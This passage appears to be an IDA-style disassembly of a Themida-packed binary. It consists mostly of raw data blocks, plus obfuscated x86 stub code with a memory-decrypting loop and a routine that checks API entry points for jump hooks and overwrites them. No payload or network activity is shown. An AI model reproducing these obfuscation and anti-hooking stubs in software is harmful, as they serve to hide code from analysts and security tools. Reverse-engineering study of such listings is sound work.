3A1E6E81h, 11F5940Ch, 1CDFD66h, 0B7334A9Dh dd 0DE6916ECh, 953DFD5Ah, 88321520h, 4BF39E06h, 7353ECD9h dd 9F1A09DFh, 9E3E251h, 8F5C99A7h, 3288477Bh, 53760C0Ah dd 0AD90FFE7h, 951B48BAh, 7BFA9C3Ch, 11321C8Fh, 0E09C4666h dd 0DEABC2FEh, 4BDBF630h, 0F8321567h, 88321560h, 0FC08611Dh dd 0BF5A8783h, 98321545h, 86DB317Ah, 0B6321566h, 7040D182h dd 0E405A30Bh, 0D37EBF6Bh, 5ED7D93h, 16BB1566h, 9C3D4E42h dd 88321567h, 2C62479Fh, 50AC1E6Eh, 4BA7303Eh, 89075D7Fh dd 0CD720D6Ch, 0D0334DA4h, 1E680F65h, 883214E8h, 1662EC66h dd 223210DCh, 4BE29C66h, 716AD667h, 0CD36F9E5h, 0CA87316Ah dd 0F86BFDEEh, 8832156Ah, 96911C8h, 0B8D0BCBFh, 0A411CBE7h dd 3062E0CCh, 534E4F3Ch, 0B6AD64Fh, 4BF1949Dh, 8725693Ch dd 443212E5h, 23B31A66h, 0ED321566h, 8836A833h, 0AF1B1566h dd 0A11639EDh, 9A5211A2h, 29E795BCh, 0A8B34507h, 22321562h dd 491609EFh, 9788753Dh, 0AD4DBE49h, 22321561h, 22EB8291h dd 0E9E87226h, 0C55475CDh, 0CA06A4B9h, 11321574h, 83AA6ADh dd 7FBCADEBh, 6811B0E5h, 2D2879C1h, 47B2312Bh, 0CF534A69h dd 0AB62317Ah, 11361086h, 48B11566h, 60369262h, 2237FC3Ah dd 0F80A1566h, 874C4692h, 443218E4h, 223AFC66h, 3EE21566h dd 0EC548E66h, 0FC62FB58h, 22321563h, 15B9D367h, 8CF69442h dd 4B321566h, 22321DECh, 913D7566h, 88321566h, 735A4407h dd 7B13E96Eh, 7274D4E7h, 37650214h, 6E7A44FAh, 0E36DEC67h dd 0D0B3168Fh, 7BBB3D38h, 0B86BDDEFh, 0A35475A5h, 0E971F9A6h dd 95D97D07h, 48BB1566h, 28BC1A42h, 71321566h, 0AD659EDDh dd 0B6B9733Ah, 14CD7307h, 35369E00h, 8830D1E7h, 24521566h dd 22329269h, 90541566h, 0E97AF38Eh, 44319469h, 953D1566h dd 0D20E74B1h, 89649169h, 0FA521566h, 0C104490h, 78E89400h dd 8DDB74BCh, 0C7321566h, 8D86A37Eh, 953DDE5Ah, 8832145Eh dd 4BF02993h, 22337DE2h, 903DED66h, 8832156Bh, 44B51A06h dd 98321566h, 68C4B940h, 87F82907h, 443359E2h, 2223FC66h dd 83E81566h, 0C07ABCAh, 8D24FCECh, 9259CA43h, 7114957Dh dd 8DDA449Ah, 36321566h, 0B748DF60h, 77534A3Fh, 8717EA5Bh dd 44335AE2h, 0A9547566h, 12B21AB5h, 87321566h, 0AD53C5D9h dd 22321568h, 0B9CB8B3Ah, 10CE30F2h, 0E259B05Dh, 1F540535h dd 943DEA48h, 8832150Bh, 0ADC29E06h, 22321560h, 0B2C0ABD5h dd 0D953F5F9h, 443217DFh, 71C31466h, 113215DDh, 2F91466h dd 0AD6B4E65h, 2232156Dh, 2BC434DEh, 0EE9FC6B4h, 0ADE3E3B0h dd 22321560h, 0C6FD1E49h, 64B3B920h, 44321562h, 901601EFh dd 21C095A6h, 6168C546h, 44321563h, 22FDEB47h, 1E92291Dh dd 8832E1E2h, 42BC1A66h, 42321566h, 0E9C29E00h, 0AC06EA07h dd 40F6943Fh, 2D321566h, 113200ECh, 8822FC66h, 8251566h dd 138C05D0h, 85776D3Dh, 3B3B4366h, 0FF61B2A0h, 22321566h dd 0F8694D35h, 88321568h, 3307A95h, 0AE1F0EDDh, 0D8528529h dd 0E0DBE3F9h, 24321567h, 4330CAE6h, 1CDBDC57h, 0EB321566h dd 24CE5842h, 0CF2440E3h, 9645CC85h, 8833AA31h, 0BD331566h dd 223BFC39h, 354A1566h dd 59B59CE6h, 0AD6FF866h, 223215E4h, 77F09E06h, 8EBECDE7h dd 44317D07h, 2EB91566h, 15F69442h, 87321566h, 443206E5h dd 223CFC66h, 9E7F1566h, 0F3ED60A6h, 801ACE4Ch, 197C0410h dd 1132588Fh, 89B81A66h, 0B1321566h, 96656DDFh, 13D3D47Ch dd 8C5EAE35h, 0B37166E6h, 57C194BDh, 20D4BBC0h, 0EE524EBFh dd 0FD0CE4DFh, 62AD5567h, 112EFC07h, 83D1566h, 44321567h dd 22357D93h, 1DB91566h, 8CF69642h, 86B37306h, 0A954824Ah dd 0B5C174A0h, 88321D8Fh, 700DCF66h, 56C6F9F1h, 9CB9EDCBh dd 8E210F63h, 42DB4406h, 32321566h, 0ABA17C55h, 0E8524A5Dh dd 443DFC07h, 0B4901566h, 4FF89704h, 59E3F386h, 379B8DCCh dd 0A753746Fh, 0FB71AAFh, 0E8321566h, 4C57AB00h, 4352E906h dd 0A4BB7407h, 8E210F63h, 44359C69h, 0AD3D1566h, 11321567h dd 0AC3E9E9Ah, 41D29C36h, 22321562h, 11321163h, 0AC369266h dd 0CF54753Ah, 0E38D1AA1h, 5D2AD07h, 58C5375Bh, 0AC1B5653h dd 171F5558h, 470C6653h, 45785AD8h, 1AC22456h, 58F57353h dd 1DB41AF2h, 87321566h, 443213E1h, 22BC1A66h, 0D2321566h dd 88321B8Fh, 0D5FDE066h, 0C6A58991h, 0CF03DE2Dh, 0EEF5CCB5h dd 0CF542399h, 0E6B33162h, 11321564h, 3F3D7506h, 978D1A96h dd 6FD09407h, 700F0254h, 0C3DD65Ah, 443214D1h, 22339469h dd 40C71566h, 63BAD0EEh, 0C51619EDh, 223211A2h, 0A360E066h dd 3E13596h, 80B13172h, 2220FC62h, 0F591566h, 21DD9CDEh dd 0C5F0874Eh, 5BB7F950h, 342B9F72h, 8742EEE6h, 44362DE2h dd 25B81A66h, 71321566h, 373DF9ECh, 0AD0E74BDh, 23539169h dd 16DB1566h, 49321566h, 26BCB458h, 0A33D752Ch, 1132157Eh dd 8832068Fh, 0DDAAAF66h, 6E2C42D3h, 9F4DF009h, 0F148B376h dd 0B0437B5h, 0A63DFE5Ah, 11321449h, 0D765EC06h, 4BF02907h dd 223337E2h, 1126FC66h, 0D5511566h, 5C011B1h, 3F06283Bh dd 717F55FFh, 64EA1A8Ah, 8F0E7BC1h, 23339169h, 9F3D1566h dd 88321579h, 442B9F69h, 36DB1566h, 15321566h, 8C4D2E3Ch dd 0B3497FBCh, 8EC200B0h, 0BC04A72h, 0EE802CA4h, 4B17EA5Bh dd 2232C7E2h, 19B81A66h, 0E8321566h, 4BFDA269h, 1E53D3D9h dd 0ADB61AACh, 87321566h, 443214E2h, 0C10EE066h, 125D9169h dd 0EEC71566h, 4BCD3B5Bh, 223228E3h, 7960ED66h, 88321564h dd 0CEC0143Ch, 9C524F64h, 6FE57Fh, 78834407h, 48B9DD46h dd 26F69642h, 1E92299Fh, 88326FE2h, 4422FC66h, 0C4361566h dd 707B886Bh, 0D80B85D8h, 9BF96C24h, 9D654997h, 4D673CA6h dd 77D59429h, 0C560E27Bh, 773BAA91h, 3DB34236h, 9F45AB42h dd 0FA374D7Eh, 7D2A0211h, 112F9569h, 73D1566h, 44321571h dd 2232078Fh, 8C443D66h, 551153C2h, 5DCBF40Eh, 8287AD0Ch dd 0F88B3389h, 883215FAh, 44279A69h, 32DB1566h, 0D4321566h dd 0D4ECE591h, 3A66A143h, 5B3A17D0h, 98CAD8D7h, 9B2810D3h dd 0D9BFEC60h, 242B82A4h, 11229D69h, 13D1566h, 4432156Ch dd 2232108Fh, 0EA651D66h, 5BCD9876h, 442D9F69h, 0A43D1566h dd 1132157Fh, 8832018Fh, 0F9D51766h, 6B1107FEh, 7980F859h dd 689F9CAh, 10917472h, 2234FCB9h, 986D1566h, 10BF7512h dd 4436F9E7h, 3EBB1566h, 17B77D42h, 0C3696C71h, 0BD4FD6E7h dd 0FABB938Eh, 17DB753Dh, 36321566h, 48EE7816h, 68F09444h dd 700347CDh, 8835FCA5h, 278B1566h, 0DD3500F1h, 3C977D67h dd 8CBB1566h, 48B21A42h, 42321566h, 89EC47D9h, 46B37377h dd 1653970Ah, 223205DCh, 40D89466h, 8917383Bh, 15F09494h dd 0A917383Bh, 14DB4F64h, 29321566h, 592527DEh, 3F8390EFh dd 0EECB1375h, 96A3152h, 443211A2h, 2226FC66h, 0E821566h dd 0DF7B7EA0h, 50E5F8E4h, 3F6CA47Eh, 0E9393FEDh, 3260E421h dd 4432157Ah, 7745D3E7h, 0C73374EAh, 0DD45FBE7h, 0BD6874EAh dd 3B67A8EBh, 1FDB1375h, 9C321566h, 581F7E3Ch, 0E90DE21Ch dd 0E3312C93h, 8DC7B850h, 0D4276E1h, 69548563h, 35761675h dd 0EEA23842h, 0C31F062Dh, 2D7B6505h, 11321FE6h, 8837FC66h dd 29091566h, 89C7FA63h, 508F989Eh, 61340654h, 44321577h dd 9C69AACFh, 0DBCFE38Ch, 0B5EFC369h, 0A7FB39D2h, 9952B8F3h dd 11FF8897h, 8832058Eh, 40A43966h, 0F10DDA65h, 3C42EBCEh dd 51B799A5h, 4421FC17h, 832B1566h, 0E9DCBF31h, 0F8055E36h dd 9EF5380Ah, 110313ADh, 14534B5Eh, 0C51661D0h, 60165165h dd 0DDCAB30h, 0F7F34A47h, 7FECE26Eh, 0A7F494B0h, 0E32EC93Bh dd 0FFB31788h, 4A6C8B24h, 0AD6CE54Fh, 22321576h, 0E54D7EFAh dd 0BCBB0A7Fh, 5E233F2Fh, 0A0E58EC9h, 90D49C30h, 883211A0h dd 40DC9466h, 0A5321566h, 986E3152h, 98DB3162h, 6B321566h dd 5D022423h, 94E5F145h, 95489754h, 4B086E29h, 223203ECh dd 9A547566h, 8839FDACh, 572A1566h, 56A78E83h, 77B99C4Ah dd 23534D72h, 44399169h, 44521566h, 770E38D8h, 40D5D3E7h dd 958F9807h, 2D340662h, 113214EBh, 709FE966h, 7AA31h dd 0DA3314A7h, 35761639h, 0CC07384Eh, 0EFCE14A7h, 90C39F06h dd 25B9744Bh, 6ABB4742h, 4436D7E7h, 0E0B11566h, 35269262h dd 8826FC3Ah, 0BB881566h, 8D90587Ch, 0CA349095h, 0F93DEEA2h dd 38930944h, 2DDB0D63h, 0B7321566h, 0C5F81E0Ah, 0EFB9C9B4h dd 6A4C9BE3h, 71F1E3FAh, 88309C69h, 1E651566h, 2232188Eh dd 5B2D9166h, 3FACE77Dh, 1C6AD1FCh, 638C1DEAh, 497CD314h dd 6BBB4607h, 4436D6E7h, 0C9B11566h, 352E9262h, 0AC069C3Ah dd 4432198Fh, 0E7A61D66h, 0B614C09Ch, 81B5E41Eh, 46AF9814h dd 0CB340CF1h, 1132156Dh, 0AA024B7Ch, 0E75D2F43h, 0DD10E0ACh dd 0D7B375B5h, 0E775AD32h, 0B8A2FC07h, 2ADBEA99h, 8A321566h dd 0D7B8BF3Dh, 0DFA0460Eh, 6CD24ECEh, 8AFD4AA8h, 0F251A245h dd 0F8D9C0D5h, 0ED96A45Fh, 8A152AA8h, 0A0242945h, 261957DFh dd 2C5E9179h, 8A152A1Eh, 2C5E8979h, 8A152A16h, 2C5ECA79h dd 8A152A49h, 2C5E1379h, 8A152A38h, 2A5EF279h, 8A152A5Ch dd 2A5EFA79h, 8A152A6Bh, 0A851D6ACh, 8660D554h, 2559D7BAh dd 907B2BCEh, 32DCF143h, 8C0F448Ch, 0EDD871BAh, 8A42C3A8h dd 0DDAEA245h, 8260D558h, 0C64038C8h, 7462C4Eh, 0B23F7ADFh dd 3C6D552h, 92B85E00h, 75152A54h, 0DDAEAE30h, 978FA75Ch dd 0FB57B82Bh, 0E4CDB0D9h, 7BAEA45Fh, 63E96FDDh, 0A851A258h dd 75195FABh, 32DCAA30h, 8C0F447Dh, 70CB2F16h, 7513303Ah dd 54142B96h, 8A152ABDh, 0EDDAC345h, 82D7E3A8h, 3044BA45h dd 2AE90000h, 0C7000000h, 2404h, 0E80000h, 5D000000h, 73A8ED81h dd 448B061Ah, 85890424h, 61304C5h, 0B8h, 8D8D8D00h, 0FF06134Fh dd 6754B8E1h, 0CEB0000h, 4324FFE0h, 38BC570Ah, 80DE1881h dd 585E9h, 579E900h, 12A00000h, 0F2446644h, 85C7E5Ch, 0ED3E6442h dd 0D05D4363h, 38F72684h, 0F0CE86D3h, 0FAD87ACAh, 0E5C583D8h dd 0FCDA72C3h, 217DF0EFh, 0EA16B828h, 6CBD8BB7h, 0DA6D51E0h dd 6DFBDF6Eh, 0E37254E5h, 4FDEE071h, 0C1123405h, 2207308Fh dd 0F357E94Eh, 4BAA7BCCh, 4CE0E281h, 0DB6B6FFEh, 8D6B5473h dd 0F1F277A5h, 0E485C919h, 694E8DDCh, 0C91BC5F8h, 8C901A81h dd 233E7A42h, 44634463h, 9E74B511h, 0B5C7E10h, 6D9C2445h dd 168887B8h, 280FACF1h, 0E77F479Dh, 5615DF98h dd 4C6AE074h, 0E978D266h, 8A2F5598h, 13A8EA4Fh, 65EF3E64h dd 83E7795Bh, 0A4F305E9h, 9CE4CB8Bh, 0BAB13247h, 45EA23BBh dd 2D6B3D48h, 0C308EF6Ch, 0A9E3EB52h, 0DA5DB9DAh, 0EAB133D2h dd 7559CA56h, 0E0B13256h, 9470D8D7h, 21BE344Fh, 57B13253h dd 0E9836036h, 0B0A4F305h, 0F29D11F1h, 2375FD7Ah, 0C77417FBh dd 0D525FB60h, 0ADFDF53Fh, 916F8496h, 0CFB73422h, 0B723AC7Ah dd 1A20AD29h, 7975FD7Ah, 9E987C27h, 0A073E701h, 830C8EFFh dd 0A4F305E9h, 0BD8DDB8Bh, 61A94D9h, 1A298D8Dh, 44B8061Bh dd 2B321566h, 2E9C1CFh, 0C8D00731h, 4904C783h, 0DE9F675h dd 81000000h, 492EE38Ch, 982B1E5Ch, 24BB1240h, 1840Fh dd 53FC0000h, 0D889C389h, 81241C8Bh, 4C4h, 890F6000h, 16h dd 11E9h, 18521F00h, 5D5FE58Fh, 403FC6FBh, 0CCC67673h dd 0F861F741h, 1625BD83h, 75000613h, 81BD8309h, 6132Ch dd 53501974h, 11B8C08Bh, 89000004h, 13311585h, 0E49D8D06h dd 0FF0615A9h, 83585BD3h, 132C81BDh, 17740006h, 11B85350h dd 89000004h, 13311585h, 859D8D06h, 0FF0615A6h, 0E9585BD3h dd 0Ch, 59E61893h, 77283422h, 6012EF0Ch, 0CE9F5h, 0C6510000h dd 0D5ED48A5h, 0A1573E7Fh, 8956B1E5h, 0F78957C6h, 5E5FF889h dd 6E9h, 9CD06A00h, 0F8BD1CFEh, 1E238D8Dh, 6A061Bh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 7AB4E3C3h, 0A312185Fh, 14B4FC7Fh, 1BBD8D89h, 6A0613h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 85FB8AC3h, 8305895Eh, 9B52960h, 8906130Fh, 1318B985h dd 85C76106h, 61318DDh, 62C4h, 0A2D8D89h, 85C70613h, 6133055h dd 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5FE0AF and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5FE0AF proc near ; CODE XREF: Themida_:005FE0A7p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5FE0AF endp ; --------------------------------------------------------------------------- push 0FFFFFFE6h pop ebx aaa and byte ptr [edx], 0D5h pop esi sbb ecx, edx mov edi, [ebp+6132C4Dh] push dword ptr [ebp+6132101h] sub ax, 0D56Dh call dword ptr [ebp+6131D89h] add ebx, [ebp+613113Dh] push 0 call dword ptr [ebp+6130DA9h] mov eax, eax jmp short loc_5FE12A ; --------------------------------------------------------------------------- dw 0A24Ch dd 0E13B14F8h, 0AC177BCAh, 0A607B0Dh, 37651E4Eh, 0FB46AC5Ah dd 0F072E251h, 0C9EB4883h, 0EFCFB3A0h, 99D50F1Fh, 61953608h dd 0A3CC68D2h, 604404D1h, 2AE0F27Dh db 72h, 48h ; --------------------------------------------------------------------------- loc_5FE12A: ; CODE XREF: Themida_:005FE0F0j call near ptr sub_5FE13E adc al, 0Dh push ebx mov eax, ds:0BC6E8409h xor [eax+56D8895Bh], dl xchg eax, ecx ; =============== S U B R O U T I N E ======================================= sub_5FE13E proc far ; CODE XREF: Themida_:loc_5FE12Ap mov edi, [ebp+61312B1h] pop edx jmp loc_5FE159 ; --------------------------------------------------------------------------- dw 0B60Fh dd 0ECAA2D61h, 0A8F05199h, 0A2C50CD5h ; --------------------------------------------------------------------------- aaa loc_5FE159: ; CODE XREF: sub_5FE13E+7j add edx, 6024h cmc sub eax, eax or cx, 5F6Bh loc_5FE167: ; CODE XREF: sub_5FE13E+89j mov esi, [edx+eax] jno loc_5FE176 mov [ebp+6131DADh], esi loc_5FE176: ; CODE XREF: sub_5FE13E+2Cj sub esi, 626F7794h jmp loc_5FE194 ; --------------------------------------------------------------------------- db 0CDh, 0BFh, 1Fh dd 5BB1BF1Fh, 0A7C4B7F8h, 6440BA36h, 63065D60h ; --------------------------------------------------------------------------- loc_5FE194: ; CODE XREF: sub_5FE13E+3Ej sub esi, 180286F3h adc ecx, 2DC00B2Fh sub esi, 210A6A58h sub ecx, [ebp+6132301h] mov [edx+eax], esi mov cx, si mov [ebp+6131FF5h], ecx sub eax, 4 mov [ebp+6130705h], edi cmp eax, 0FFFFA07Ch jnz loc_5FE167 xor [ebp+6131045h], esi jmp loc_5FE2C5 ; --------------------------------------------------------------------------- pusha mov ax, ds test al, 4 jz loc_5FE2C3 mov esi, [ebp+6132EB5h] cmp esi, 0 jnz loc_5FE215 mov byte ptr [ebp+61311E1h], 45h push 8E726969h push dword ptr [ebp+613116Dh] lea eax, [ebp+6167C33h] call eax mov [ebp+6131CBDh], eax mov esi, eax loc_5FE215: ; CODE XREF: sub_5FE13E+AFj cmp byte ptr [esi], 0E9h jnz loc_5FE24F lea eax, [ebp+61887E0h] call eax mov edi, [ebp+61329C5h] add edi, 1184h mov esi, [ebp+6132EB5h] xchg esi, edi mov ecx, 8 rep movsb mov esi, [ebp+6132EB5h] lea eax, [ebp+616BD3Ah] call eax loc_5FE24F: ; CODE XREF: sub_5FE13E+DAj mov esi, [ebp+61313F1h] cmp esi, 0 jnz loc_5FE280 mov byte ptr [ebp+61311E1h], 54h push 0FF4EBEF4h push dword ptr [ebp+613116Dh] lea eax, [ebp+6167C33h] call eax mov [ebp+61313F1h], eax mov esi, eax loc_5FE280: ; CODE XREF: sub_5FE13E+11Aj cmp byte ptr [esi], 0E9h jnz loc_5FE2C3 mov esi, [ebp+61313F1h] lea eax, [ebp+61887E0h] call eax mov edi, [ebp+61329C5h] add edi, 1184h add edi, 8 mov esi, [ebp+61313F1h] xchg esi, edi mov ecx, 8 rep movsb mov esi, [ebp+61313F1h] lea eax, [ebp+616BD3Ah] call eax loc_5FE2C3: ; CODE XREF: sub_5FE13E+A0j ; sub_5FE13E+145j popa retn ; --------------------------------------------------------------------------- loc_5FE2C5: ; CODE XREF: sub_5FE13E+95j lea eax, [ebp+61B1F0Eh] mov [ebp+6130B31h], eax jmp loc_5FE2E1 ; --------------------------------------------------------------------------- dw 0A551h dd 601Fh, 0 db 0 ; --------------------------------------------------------------------------- loc_5FE2E1: ; CODE XREF: sub_5FE13E+193j jmp loc_5FE79A ; --------------------------------------------------------------------------- push 61B213Ch jmp loc_58442C ; --------------------------------------------------------------------------- push 61B21ADh jmp loc_58442C ; --------------------------------------------------------------------------- push 61B22EDh jmp loc_58442C ; --------------------------------------------------------------------------- imul dword ptr [ebx-15h] retf ; --------------------------------------------------------------------------- dd 0D9F955E5h, 0C5E565F7h, 0DEFC54E3h, 0C7E76DFCh, 0A3325BD4h dd 0A12F11B1h, 9C2F11B1h, 992C0EACh, 94613B3h, 0B8D57AD4h dd 0F1CE4316h, 87D67AC9h, 0BD24BE06h, 7155E470h, 3783A6E0h dd 0A025C91h, 4ACB109Eh, 2668A865h, 42276747h, 9BF66744h dd 64168EC9h, 4CC1C95Eh, 0A8AC7D2h, 7A1B7A9Bh, 0C83C9AEBh dd 0F7930A8Ah, 0F99A5A82h, 567C5AACh, 1B824A04h, 2D2h dd 0BDE5C23Fh, 3455E470h, 9DB4C945h, 40B59210h, 109DB4C6h dd 656F0E8Fh, 2148696Fh, 0D4644665h, 26AEEF7Eh, 0A625C439h dd 0D736168Eh, 99CCEB34h, 0A8AA33Dh, 3A94C906h, 30A8AA3h dd 0AAD9E382h, 0E7E5C1A3h, 3D348CD5h, 93BD723h, 70E5C2A3h dd 1315FA7Dh, 4A005476h, 6AFB9AFBh, 5473134Eh, 2D14C21h dd 6340C50Dh, 0C1CE5E44h, 3781E074h, 2A88C415h, 7FD4B508h dd 1AB5A8C9h, 237684BFh, 2E04984h, 6DF90000h, 57E7C9E9h dd 5FF1D7F7h, 56E5CBEBh, 67F6DCFAh, 51DECDEDh, 7A7AD3Ch dd 1FBF9321h, 4A2A639h, 0E1C18B1Eh, 0C86F7D8h, 0D516B8D6h dd 0BEA3A2BCh, 2C7AEBC8h, 0DD168695h, 89E864F5h, 95B3082Ah dd 9D2C0E4Bh, 0A43117B7h, 2884DCEAh, 39582472h, 0B5072B28h dd 6145C495h, 13727ACEh, 0E94733B0h, 7AEF5DF0h, 80089EA3h dd 6F3411D8h, 6A000002h, 765C7ADCh, 664C6AE4h, 785A78D2h dd 674969E7h, 695C7ADAh, 3C18A5C6h, 262CBC9Eh, 3B0DA288h dd 2824B59Bh, 6F9EC18Ah, 16B8D5F3h, 0C2F965BCh, 0B8004EE0h dd 8221657Ch, 86950353h, 51B416h, 82951171h, 54004D0Ah dd 0DD71C105h, 6F0C868Ch, 36D33F86h, 0A5064616h, 17CEE5Ah dd 0EED10000h, 0A3D278CCh, 0A829D27h, 9CB12D60h, 1B7A0A82h dd 55FFC94Ch, 0C3E06CBDh, 0B7D74DDCh, 0A32D62A5h, 9DAF0244h dd 9EE8013Dh, 0AB3C1E41h, 6B7594A5h, 8F0CE11Ch, 1A2B6A16h dd 8B096BEBh, 0B295C20Ah, 8B08C743h, 0C30D900Ah, 0CC8CB049h dd 745AACB2h, 38h, 0C8BEA3CAh, 989B7AEBh, 296C168Eh, 0C8173B18h dd 41C14088h, 980A8A89h, 756B94BBh, 4FF493A5h, 4E6E0B85h dd 5AADC28Eh, 0C41E4F70h, 8D0A89D8h, 9B59C008h, 0FD000000h dd 51E06CBDh, 4FFD5072h, 8B065385h, 4E00523Dh, 46714E2Fh dd 0AA20C7FCh, 49982009h, 0C998B405h, 0BA183485h, 9E37A94Bh dd 0B4982910h, 0B7CF1A16h, 0AD9F3218h, 66737D9Ch, 889481F7h dd 0C01F7E16h, 0A9094B9Ah, 671A3A87h, 800E91A0h, 2F2F2AC1h dd 0AA000001h, 0B69C3A1Ch, 0A68C2A24h, 0B89A3812h, 0A7892927h dd 0A99C3A1Ah, 7CD86586h, 66EC7C5Eh, 7BCD6248h, 68E4755Bh dd 2F5E814Ah, 16B8D6B3h, 0C239257Ch, 0B90351E0h, 0AC0A4A97h dd 98B7A48Bh, 0F8DBB51h, 0A4293C5h, 6CBD0EACh, 0DC6D51E0h dd 0B565270h, 0E3765C7Bh, 2FB9D869h, 0FBDEB322h, 2807168Eh dd 8A6659B5h, 0D9E3220Ah, 88AA098Ch, 0CB4A1B39h, 5FEED401h dd 9AAB9D32h, 49BC1A7Bh, 0A8A65C9h, 3A98B405h, 0BA8BC918h dd 0A19Fh, 459AC000h, 0D061EF40h, 81D0B1h, 0BEA31EB8h dd 287AEBC8h, 0E1168695h, 1F401FBCh, 829574EEh, 0A9D83D0Ah dd 0A82952Dh, 9E4D97F6h, 0CE6029BCh, 0DFC1E180h, 706FFE4Eh dd 94C41E4Fh, 428D0A82h, 4A6629AAh, 0EBF59464h, 7D5E8E9Ch dd 0C237BB70h, 9C002A15h, 0B665E114h, 0EF2EA47Ch, 934C89C8h dd 7CF8E862h, 0D6CB1A4h, 0C4091C3h, 1AA991AEh, 0DEE62736h dd 52E369FCh, 5271DF70h, 0F8860075h, 0CE4FA47Ch, 0FF716706h dd 0C785D88Ah, 17E1C6E7h, 0D60305E5h, 72C315DFh, 34E8BDAh dd 0F4000000h, 71BDE17Bh, 0DF7254E5h, 65FADC6Dh, 0E07052E3h dd 52DFE372h, 0C20F3302h, 307FC392h, 9B2D1120h, 2ABC9EAFh dd 51221524h, 0C181E189h, 4, 4E981h, 0C870000h, 14895C24h dd 5786824h, 1C890000h, 0E1895124h, 4C181h, 0E9810000h dd 4, 5C240C87h, 83243489h, 48904ECh, 203AB824h, 0C389061Bh dd 4EC8158h, 89000000h, 4832424h, 835E0424h, 1C8904ECh dd 24348124h, 1B5E2678h, 8108468Fh, 26780876h, 34FF1B5Eh dd 0C4815E24h, 4, 5B2434FFh, 4C481h, 0A1E90000h, 21FFF85Ch dd 8D3B80E6h, 4FA99C51h, 3053C6D7h db 1, 4Ah ; --------------------------------------------------------------------------- loc_5FE79A: ; CODE XREF: sub_5FE13E:loc_5FE2E1j mov eax, 61B2441h add eax, ebp jmp eax sub_5FE13E endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0F2h dd 7036D392h, 0D143C3BFh, 3B59A758h, 8C6B6D37h, 0BD04B286h dd 0FF5250E0h, 2748EEAFh, 1A4C27F1h, 0E50A1654h, 0E85A5EA2h dd 0Dh, 8473AE0Ch, 5484D38h, 2BE6FA5Ch, 0CE980h, 151A0000h dd 759850Ch, 16F884B3h, 0F5AF38Ah, 28Fh, 8177B300h, 6FF4C2h dd 4934B900h, 0D0BF0D58h, 6600001Bh, 32FFF28Bh, 0E95862B7h dd 0Bh, 0D4688AFDh, 9E8EE5DCh, 81C749FBh, 0F4C333C0h, 10E825h dd 61D40000h, 181D6DE3h, 32EA9240h, 6A285161h, 0AE99961h dd 28000000h, 0AC05D86Eh, 0C4B4955Bh, 0E8815BC2h, 2D9336C4h dd 0E881CB8Ah, 1A361613h, 925CCB81h, 66505B08h, 8F7C1ABBh dd 0DB816602h, 0EA81CBD5h, 95550F5h, 0F1C281F9h, 0F095550h dd 0F4FC9BFh, 0FFFF8985h, 1810FFFh, 0F9000000h, 265E8D8Dh dd 8B66061Bh, 6830FD8h, 8B000000h, 13055185h, 0BD8D8906h dd 6A06131Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 742C356h, 0C7167792h, 1318DD85h dd 619806h, 79858900h, 0C7061305h, 13305585h, 6, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0C21CD538h, 66AA389Bh, 0FF622BB8h, 1313D1B5h, 31953306h dd 8B061317h, 130C159Dh, 8995FF06h, 2306131Dh, 13003DB5h dd 0FF006A06h, 130DA995h, 0EBC08B06h, 2FCFF33Ah, 3008C349h dd 88B654ACh, 0CDB06DFCh, 0AA270F81h, 0A0417F9Eh, 0B28392BBh dd 0D7D639AEh, 6F989057h, 93721791h, 0F904B455h, 20899326h dd 99E28E21h, 832E3D3Fh, 0E9E8292Eh, 40h, 1DF3958Fh, 416C7452h dd 636F6C6Ch, 48657461h, 706165h, 140000h, 0Ah dup(0) ; --------------------------------------------------------------------------- jmp loc_5FFB1C ; --------------------------------------------------------------------------- push 61B295Dh jmp loc_58442C ; --------------------------------------------------------------------------- push 61B2A50h jmp loc_58442C ; --------------------------------------------------------------------------- push 61B2CE9h jmp loc_58442C ; --------------------------------------------------------------------------- push 61B2E26h jmp loc_58442C ; --------------------------------------------------------------------------- push 61B315Fh jmp loc_58442C ; --------------------------------------------------------------------------- push 61B3223h jmp loc_58442C ; --------------------------------------------------------------------------- push 61B3262h jmp loc_58442C ; --------------------------------------------------------------------------- push 61B333Fh jmp loc_58442C ; --------------------------------------------------------------------------- push 61B33D8h jmp loc_58442C ; --------------------------------------------------------------------------- push 61B342Dh jmp loc_58442C ; --------------------------------------------------------------------------- push 61B35EEh jmp loc_58442C ; --------------------------------------------------------------------------- push 61B36C7h jmp loc_58442C ; --------------------------------------------------------------------------- db 1Ch, 0CEh, 88h dd 98B6082Ah, 86C4183Ah, 9FB10228h, 88CC193Fh, 0D734FB2Ah dd 0C6ECCA8Ah, 0DCFEDC76h, 0BFE1C187h, 0F300DE6Eh, 0DC1D79ECh dd 0B3E616B8h, 0C5C5230Ch, 0EEB8F43Fh, 6CBD7CE6h, 0C3E4C3E0h dd 9DB53892h, 0ED9C0110h, 109DB571h, 6EE81D3Ah, 37109DB5h dd 0C313B7D6h, 915BBA8Bh, 0EF5DF0D2h, 859815Eh, 7F1E3281h dd 78D06375h, 79F3E9h, 0F51B7057h, 0EA40DCEDh, 11DB79C8h dd 0CD1B6EBFh, 3455B485h, 0C945B897h, 92109DC0h, 4A6B6973h dd 23B2D368h, 80015031h, 72C38D1Eh, 3A87C913h, 4396BC1Ah dd 371B3809h, 7A9BAAAAh, 7FCD6072h, 0D5C7E5Fh, 28417D47h dd 2F5E815Eh, 109DC0B3h, 82CF197Ch, 1E2A7DA5h, 8706CE4Fh dd 168EAF2Ah, 720352B3h, 0A8AAB14h, 0FE4FFD50h, 73C288DCh dd 0EC96335Dh, 4E97F65Ch, 572547C4h, 0FF5AAD10h, 3Fh, 0C8BEA363h dd 0E7E9C4EBh, 0F229F023h, 9978EDEAh, 6A168F7Fh, 1A3D1A2Bh dd 8B706FEBh, 0F1D5380Ah, 0A6E5EF63h, 0A8B7028h, 5676137Fh dd 5AAC5186h, 0E4603F68h, 92AA34B4h, 110D34Ah, 0BD670000h dd 6D51E06Ch, 0CB47B6E0h, 0FF109DB4h, 4FCE9FAFh, 0DFFC9D00h dd 50E169FBh, 0CDF006Bh, 0B2D3D303h, 